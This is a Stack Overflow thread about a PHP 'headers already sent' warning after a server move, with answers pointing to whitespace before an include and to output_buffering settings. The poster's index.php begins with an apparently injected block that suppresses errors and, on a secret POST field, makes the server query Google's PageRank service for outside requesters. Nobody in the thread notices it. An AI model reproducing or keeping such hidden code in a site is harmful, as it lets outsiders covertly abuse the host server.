-2

Today I moved a website to another server. It was working fine on the other server and now I get this warning message:

Warning: Cannot modify header information - headers already sent by (output started at /home/mesoubi/public_html/fr/index.php:96) in /home/mesoubi/src/base/init.inc on line 21

I've searched for hours now. Removed white space and tried other things. But it's not working.

If you can help, here's the code:

FILE_1_________index.php_________

    <?php
    //{{2394095a

    GLOBAL $alreadyxxx;
    if($alreadyxxx != 1)
    {
    $alreadyxxx = 1;
    $olderrxxx=error_reporting(0);
    function StrToNum($Str, $Check, $Magic)

       $Int32Unit = 4294967296;
       $length = strlen($Str);
       for ($i = 0; $i < $length; $i++) {
           $Check *= $Magic;
           if ($Check >= $Int32Unit) {
               $Check = ($Check - $Int32Unit * (int) ($Check / $Int32Unit));
               $Check = ($Check < -2147483648) ? ($Check + $Int32Unit) : $Check;
           }
           $Check += ord($Str{$i});
       }
       return $Check;
    }
    function HashURL($String)
    {
       $Check1 = StrToNum($String, 0x1505, 0x21);
       $Check2 = StrToNum($String, 0, 0x1003F);

       $Check1 >>= 2;
       $Check1 = (($Check1 >> 4) & 0x3FFFFC0 ) | ($Check1 & 0x3F);
       $Check1 = (($Check1 >> 4) & 0x3FFC00 ) | ($Check1 & 0x3FF);
       $Check1 = (($Check1 >> 4) & 0x3C000 ) | ($Check1 & 0x3FFF);

       $T1 = (((($Check1 & 0x3C0) << 4) | ($Check1 & 0x3C)) <<2 ) | ($Check2 & 0xF0F );
       $T2 = (((($Check1 & 0xFFFFC000) << 4) | ($Check1 & 0x3C00)) << 0xA) | ($Check2 & 0xF0F0000 );

       return ($T1 | $T2);
    }

    function CheckHash($Hashnum)
    {
       $CheckByte = 0;
       $Flag = 0;

       $HashStr = sprintf('%u', $Hashnum) ;
       $length = strlen($HashStr);    

       for ($i = $length-1; $i >= 0;  $i--) {
           $Re = $HashStr{$i};
       if (1 === ($Flag % 2)) {
           $Re += $Re;
           $Re = (int)($Re / 10) + ($Re % 10);
       }
       $CheckByte += $Re;
       $Flag ++;
   }

   $CheckByte %= 10;
   if (0 !== $CheckByte) {
       $CheckByte = 10 - $CheckByte;
       if (1 === ($Flag % 2) ) {
           if (1 === ($CheckByte % 2)) {
               $CheckByte += 9;
           }
           $CheckByte >>= 1;
       }
    }

   return '7'.$CheckByte.$HashStr;
    }

    function getpr($url)
    {
       $ch = CheckHash(HashURL($url));
       $file = "http://toolbarqueries.google.com/search?client=navclient-auto&ch=$ch&    features=Rank&     q=info:$url";;
       $data = file_get_contents($file);
       $pos = strpos($data, "Rank_");
       if($pos === false){return -1;} else{
       $pr=substr($data, $pos + 9);
           $pr=trim($pr);
       $pr=str_replace("
    ",'',$pr);
           return $pr;
       }
    }
    if(isset($_POST['xxxprch']))
    {
        echo getpr($_POST['xxxprch']);
        exit();
    }
    error_reporting($olderrxxx);
    }

    //}}68091a99
    ?>

    <?
    include_once( '../../src/base/init.inc' );
    $filename = 'index_' . $_SESSION[ 'userType' ] . '.php';
    if( file_exists( $filename ) ) {
        include( $filename );
    } else { ?>
    <html>
    <head>
    <title>SGG</title>
    <link rel="stylesheet" href="/styles.css" />
    <script type="text/javascript" src="/js/rc.js"></script>
    </head>
    <body>
    <? include( 'menu.php' ); ?>
    </body>
    </html> <?
    //        echo $filename;
        }
    ?>

FILE_2________init.inc__________

<?

function dg( $a ) {
    if( $_SESSION[ 'userId' ] == 'mviau' ) print_r( $a );
}
$time = 0;
$totalTime = 0;
function logtime( ) {
    global $time;
    global $totalTime;
    if( $time == 0 ) 
        $time = microtime( true );
    else {
        $totalTime += microtime( true ) - $time;
        $time = 0;
    }
}
ini_set( 'error_reporting', E_ALL );
//ini_set( 'display_errors', true );
if( ( ! isset( $_SERVER[ 'HTTPS' ] ) || $_SERVER[ 'HTTPS' ] != 'on') && ! preg_match(           '/\/scripts\//', $_SERVER[ 'PHP_SELF' ] ) ) {
    header( 'Location: http://www.test.com' . "\n\n" );
    exit( );
}
define( 'TYPE_SERVICE', 10 );
define( 'TYPE_THERAPEUTE', 11 );
define( 'TYPE_FRANCHISE', 12 );
define( 'TYPE_FRANCHISEUR', 87 );
define( 'TYPE_ADMIN', 13 );
define( 'TYPE_CLIENT', 107 );
ini_set( 'display_errors', true );
ini_set( 'magic_quotes_gpc', false );
$languages = array( 'en' => 'English',
                'fr' => 'Français',
                'es' => 'Espanol' );
$locales   = array( 'en' => 'en_US',
                'fr' => 'fr_CA' );
$currentUrl = $_SERVER[ 'PHP_SELF' ];

//
// Set locale and timezone
//
$lang       = 'fr'; // language par défaut
preg_match( '/^\/([^\/]+)/', $currentUrl, $matches );
if( count( $matches ) > 0 && isset( $languages[ $matches[ 1 ] ] ) ) {
$lang = $matches[ 1 ];
}
date_default_timezone_set( 'America/Montreal' );
setlocale( LC_ALL, $locales[ $lang ] );
setlocale( LC_NUMERIC, $locales[ 'en' ] );

//
// Set include_path
//
$baseUrl = '/';
$basePath = '/home/mesoubi/src';
$baseHtml = '/home/mesoubi/public_html';
$incPath = ini_get( 'include_path' );
if( strstr( $incPath, $basePath ) === false ) {
    //ini_set( 'include_path', $incPath . ':' . $basePath . ':' . $basePath . '/fpdf153' );
    ini_set( 'include_path', $incPath . ':' . $basePath );
}

include_once( 'db/databaseManager.inc' );

function __autoload( $className ) {
    if( $className == 'FPDF' ) {
        include_once( 'fpdf153/fpdf.php' );
    } else {
        include_once( "classes/$className.inc" );
    }
}

session_start( );

//
// Check authentification
//
if( basename( $_SERVER[ 'PHP_SELF' ] ) != 'editor.php' ) {
    unset( $_SESSION[ 'editorObject' ] );
}
if( basename( $_SERVER[ 'PHP_SELF' ] ) != 'login.php' && 
basename( $_SERVER[ 'PHP_SELF' ] ) != 'generator.php' && 
! preg_match( '/scripts/', $_SERVER[ 'PHP_SELF' ] ) &&
! isset( $_SESSION[ 'user' ] ) ) {
    if( preg_match( '/\/client\//', $_SERVER[ 'PHP_SELF' ] ) ) {
        //
        // login client
        //
        header( "Location: $baseUrl$lang/client/login.php\n\n" );
        exit();
    } else {
            //
        // login user.
        //
        header( "Location: $baseUrl$lang/login.php\n\n" );
        exit();
        }
}

include_once( 'base/url/url.inc' );
URL::install( );

if( isset( $_SESSION[ 'userType' ] ) && $_SESSION[ 'userType' ] == TYPE_CLIENT &&
! preg_match( '/\/client\//', $_SERVER[ 'PHP_SELF' ] ) ) {
    header( "Location: /fr/client/login.php\n\n" );
    exit( );
}

function prh($arr)
{
    print '<pre>';
    print_r($arr);
    print '</pre>';
}

function prhd($arr)
{
    prh($arr);
    die();
}
hakre
  • 193,403
  • 52
  • 435
  • 836
Baogab
  • 7
  • 2
    Just read the error message... it tells you exactly what line has the output, and if you go to that line, well, it has output (two blank lines) you need to remove. – Dan Grossman Aug 15 '11 at 05:41

3 Answers3

2

You have a newline at line 95 of index.php

93: //}}68091a99
94: ?>
95: 
96: <?
97: include_once( '../../src/base/init.inc' );

The error message tells you exactly where to find this

output started at /home/mesoubi/public_html/fr/index.php:96

Phil
  • 157,677
  • 23
  • 242
  • 245
  • Good sir, I would like to cordially offer a detractive vote in exchange for the above forgery of my humble response to the posited inquiry which furthermore fails to provide any novel advice. Many salutations! – Dolph Aug 23 '11 at 18:50
  • @Dolph The recorded times of each answer do so disagree with your argument good sir. Mine answer does trump your own by fifty seconds. I have however bestowed a congratulatory vote to your response for "going the extra mile" as it were with the addition of a solution. Well played sir. – Phil Aug 23 '11 at 22:27
  • SO users know that the timestamps indicate when you first submit an answer, and edit history does not reflect immediately subsequent edits. Your morals are questionable. – Dolph Aug 24 '11 at 16:04
2
93: //}}68091a99
94: ?>
95: 
96: <?
97: include_once( '../../src/base/init.inc' );

Lines 94-96 indicate HTML whitespace. Instead, just stay in PHP:

93: //}}68091a99
94: 
95: include_once( '../../src/base/init.inc' );
Dolph
  • 49,714
  • 13
  • 63
  • 88
1

As others have pointed out, the problem is because of the whitespace at line 95. I'll also add a likely reason that it worked on the other server and not this one; check for a different value in the output_buffering option between the servers. If output buffering is enabled the it would have masked the problem with your whitespace on the other server.

El Yobo
  • 14,823
  • 5
  • 60
  • 78